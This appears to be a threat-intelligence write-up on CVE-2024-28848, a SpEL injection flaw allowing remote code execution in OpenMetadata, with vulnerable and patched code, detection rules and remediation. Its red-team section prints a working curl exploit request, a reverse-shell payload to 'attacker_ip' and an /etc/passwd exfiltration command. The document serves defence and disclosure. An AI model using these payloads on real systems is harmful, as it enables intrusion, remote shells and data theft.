CVE-2024-28848

Executive Summary

CVE-2024-28848 is a critical Remote Code Execution (RCE) vulnerability in OpenMetadata, a unified metadata platform. The flaw resides in the CompiledRule::validateExpression method, which evaluates user-controlled Spring Expression Language (SpEL) expressions using a StandardEvaluationContext. This allows an authenticated, non-admin attacker to execute arbitrary system commands on the underlying operating system by sending a crafted request to the /api/v1/policies/validation/condition/<expression> endpoint. The vulnerability is compounded by a missing authorization check, as Authorizer.authorize() is never called on the affected path. The CVSS score is 8.8 (High), and the vulnerability has been patched in version 1.2.4.

Supply Chain & Package Security

OpenMetadata is a Java-based application distributed as a Docker image and via source code. The vulnerability is introduced through the use of the Spring Framework's StandardEvaluationContext for SpEL evaluation. This is a common pattern in Java applications that can lead to RCE if user input is not properly sanitized. The supply chain risk is moderate, as the vulnerability is in the application's own code, not in a third-party library. However, any organization using OpenMetadata versions prior to 1.2.4 is at risk.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
• Privileges Required (PR): Low (L) - An attacker needs a valid, non-admin account.
• User Interaction (UI): None (N) - No user interaction is required.
• Scope (S): Unchanged (U) - The vulnerability does not affect other components.
• Confidentiality (C): High (H) - Full system compromise is possible.
• Integrity (I): High (H) - Full system compromise is possible.
• Availability (A): High (H) - Full system compromise is possible.

Threat Level: Critical. The combination of low attack complexity, low privileges required, and the potential for full system compromise makes this a high-priority vulnerability.

Deep Dive & Mechanics

The vulnerability is a classic SpEL injection. The CompiledRule::validateExpression method is designed to validate policy conditions. It takes a user-supplied SpEL expression and evaluates it using a StandardEvaluationContext. This context provides access to the full Java runtime, including classes like java.lang.Runtime. An attacker can craft an expression that executes arbitrary commands, such as:

T(java.lang.Runtime).getRuntime().exec("id")

The endpoint /api/v1/policies/validation/condition/<expression> directly passes the <expression> parameter to this method. The missing authorization check means any authenticated user can access this endpoint.

The flow is:

1. Attacker authenticates to OpenMetadata.
2. Attacker sends a GET request to /api/v1/policies/validation/condition/T(java.lang.Runtime).getRuntime().exec("id").
3. The server evaluates the SpEL expression, executing the id command.
4. The output is returned to the attacker (or the command is executed silently).

Vulnerable vs. Patched Code

Vulnerable Code (pre-1.2.4):

// CompiledRule.java
public class CompiledRule {
    public void validateExpression(String expression) {
        ExpressionParser parser = new SpelExpressionParser();
        StandardEvaluationContext context = new StandardEvaluationContext();
        // Directly evaluate user input
        Expression exp = parser.parseExpression(expression);
        exp.getValue(context);
    }
}

Patched Code (1.2.4+):

// CompiledRule.java
public class CompiledRule {
    public void validateExpression(String expression) {
        ExpressionParser parser = new SpelExpressionParser();
        // Use a SimpleEvaluationContext to restrict access
        EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
        Expression exp = parser.parseExpression(expression);
        exp.getValue(context);
    }
}

The patch replaces StandardEvaluationContext with SimpleEvaluationContext, which does not allow access to Java classes or methods. Additionally, the authorization check was added to the endpoint.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A valid OpenMetadata user account (non-admin).
• Network access to the OpenMetadata server.

Exploit Steps:

1. Authenticate: Obtain a valid session token or API key.
2. Craft Payload: Encode the SpEL expression. For example, to execute whoami:

   T(java.lang.Runtime).getRuntime().exec("whoami")
   

3. Send Request:

   curl -X GET "http://target:8585/api/v1/policies/validation/condition/T(java.lang.Runtime).getRuntime().exec(%22whoami%22)" \
   -H "Authorization: Bearer <token>"
   

4. Verify: Check for command execution. The output may be returned in the response or visible in server logs.

Advanced Payloads:

• Reverse shell:

  T(java.lang.Runtime).getRuntime().exec("bash -c 'exec bash -i &>/dev/tcp/attacker_ip/4444 <&1'")
  

• Data exfiltration:

  T(java.lang.Runtime).getRuntime().exec("curl http://attacker_ip/$(cat /etc/passwd)")
  

Blue Team

Detection:

• Monitor for requests to /api/v1/policies/validation/condition/ with suspicious SpEL expressions.
• Look for patterns like T(java.lang.Runtime), exec(, or getRuntime() in URL parameters.
• Alert on any non-admin user accessing this endpoint.

Hunting:

• Search web server logs for the endpoint path.
• Use the Sigma rule below to detect exploitation attempts.

Containment:

• Immediately block the endpoint at the WAF or reverse proxy level.
• Disable non-admin accounts if exploitation is suspected.
• Isolate the affected server.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /api/v1/policies/validation/condition/ with SpEL expressions.
  • Outbound connections to attacker-controlled IPs on unusual ports.
• Host:
  • Unexpected processes spawned by the Java application (e.g., bash, curl, nc).
  • Files created in /tmp/ or other writable directories by the OpenMetadata user.
• Logs:
  • OpenMetadata application logs showing SpEL evaluation errors or unexpected output.
  • Web server logs with 200 responses to the vulnerable endpoint from non-admin users.

Detection Engineering

YARA Rule

rule CVE_2024_28848_SpEL_Injection {
    meta:
        description = "Detects SpEL injection attempts targeting CVE-2024-28848"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-28848"
    strings:
        $spel1 = "T(java.lang.Runtime)" ascii wide nocase
        $spel2 = "getRuntime()" ascii wide nocase
        $spel3 = "exec(" ascii wide nocase
        $spel4 = "/api/v1/policies/validation/condition/" ascii wide nocase
    condition:
        any of ($spel*) and $spel4
}

Sigma Rule

title: CVE-2024-28848 SpEL Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-28848 via SpEL injection in OpenMetadata
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: "/api/v1/policies/validation/condition/"
        cs-uri-query|contains|all:
            - "T(java.lang.Runtime)"
            - "exec("
    condition: selection
falsepositives:
    - Legitimate use of the endpoint for testing (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-28848 SpEL Injection Attempt"; flow:to_server,established; content:"/api/v1/policies/validation/condition/"; http_uri; content:"T(java.lang.Runtime)"; http_uri; content:"exec("; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update OpenMetadata to version 1.2.4 or later.
2. WAF Rule: Block requests to /api/v1/policies/validation/condition/ containing SpEL patterns.
3. Network Segmentation: Restrict access to the OpenMetadata API to trusted networks only.

Long-term Fixes:

• Implement input validation and sanitization for all user-supplied SpEL expressions.
• Use SimpleEvaluationContext instead of StandardEvaluationContext for any SpEL evaluation.
• Ensure all API endpoints have proper authorization checks.

Compensating Controls:

• Monitor for exploitation attempts using the provided detection rules.
• Implement a Web Application Firewall (WAF) with custom rules.
• Conduct regular security audits and penetration testing.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert